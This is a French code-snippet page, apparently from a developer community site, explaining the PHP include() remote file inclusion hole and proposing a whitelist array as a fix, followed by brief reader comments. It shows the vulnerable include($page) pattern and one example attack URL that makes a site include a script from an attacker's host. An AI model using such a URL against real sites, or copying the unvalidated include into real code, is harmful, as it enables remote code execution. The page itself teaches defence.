Condamner la faille include()

Soyez le premier à donner votre avis sur cette source.

Snippet vu 28 124 fois - Téléchargée 26 fois

Contenu du snippet

EXPLICATION :

La "faille" include() se manifeste lorsque l'on utilise cette instruction :

include($page); /* où $page est une variable contenant un nom de page à inclure */

Le problème (la "faille"), c'est que cette variable $page est aussi et surtout accessible par l'utilisateur via l'url.
En effet, s'il tape, par exemple :

http://www.votre_site.com/index.php?page=http://www.site_attaquant.com/virus.php

il "inclura" alors le script 'virus.php' dans votre site et pourra alors faire à peu près tout ce qu'il veut, d'où l'importance de combler cette faille...

Je sais qu'il y a d'autre(s) source(s) déjà qui propose(nt) une solution pour boucher la faille include(), mais elle(s) ne me convenai(en)t pas.

J'ai donc dû trouver autre chose.

Voilà keuwa, enjoy fellas!!

Source / Exemple :


//
// Pour éviter que l'utilisateur n'incluse n'importe quoi dans votre site,
// vous pouvez définir vous même la liste des pages autorisées à être incluses.
//
// Faisons cela à l'aide d'un tableau.
//
// Si vous souhaitez par exemple que la navigation sur votre site se fasse à
// travers le fichier index.php, c'est-à-dire, si vos URLs sont du type :
//
//      .../index.php?page=XXXXX
//
// vous devrez déclarer dans votre fichier 'index.php' le tableau suivant :
//

$pages_autorisees = array('index' => 'index.php',
                          'chapitre1' => 'chapitres/chapitre1.php',
                          'chapitre2' => 'chapitres/chapitre2.php',
                          'chapitre3' => 'chapitres/chapitre3.php'
                          // ainsi de suite pour toutes vos pages autorisées...

                         );

// Ensuite, pour inclure une page et s'assurer qu'il s'agit bien d'une page autorisée à être incluse,
// (donc qui figure dans le tableau $pages_autorisees), il suffit de faire ceci :

if (isset($pages_autorisees[$page])) 
      include($pages_autorisees[$page]);
else 
      include('erreur.php');

Conclusion :


J'espère que ça vous aidera un peu :))

A voir également

Ajouter un commentaire

Commentaires

Messages postés
488
Date d'inscription
samedi 5 avril 2003
Statut
Membre
Dernière intervention
31 mars 2009
4
Messages postés
16
Date d'inscription
mercredi 2 mars 2005
Statut
Membre
Dernière intervention
17 décembre 2007

passionnante discution...
en débutant que je suis, j'ai eu la chance de tomber sur une bonne d'emblée, le switch, celle de williamprotti, et sans savoir qu'elle était si bonne...
Messages postés
1293
Date d'inscription
mardi 9 novembre 2004
Statut
Membre
Dernière intervention
21 mai 2015

Moi je préfèrerais le faire en C++ et l'éxécuter en CGI... imparable... lol... .. .

@ tchaOo°
Messages postés
2350
Date d'inscription
mercredi 13 octobre 2004
Statut
Membre
Dernière intervention
18 avril 2015
3
"On pourrait aussi stocker les pages dans un fichier XML, et parser le fichier pour voir si la page demandée est dedans, et...nan, je plaisantais ;-)"

On peut pas le faire aussi en version POO ? ;)
Messages postés
470
Date d'inscription
dimanche 9 janvier 2005
Statut
Membre
Dernière intervention
11 mai 2013

tien ici : http://www.javascriptfr.com/infomsg_LIEN-FICHIER-HTM-FR_716236.aspx
il y a dans les commentaires du probleme une solution pour les page par "URL"
Afficher les 56 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.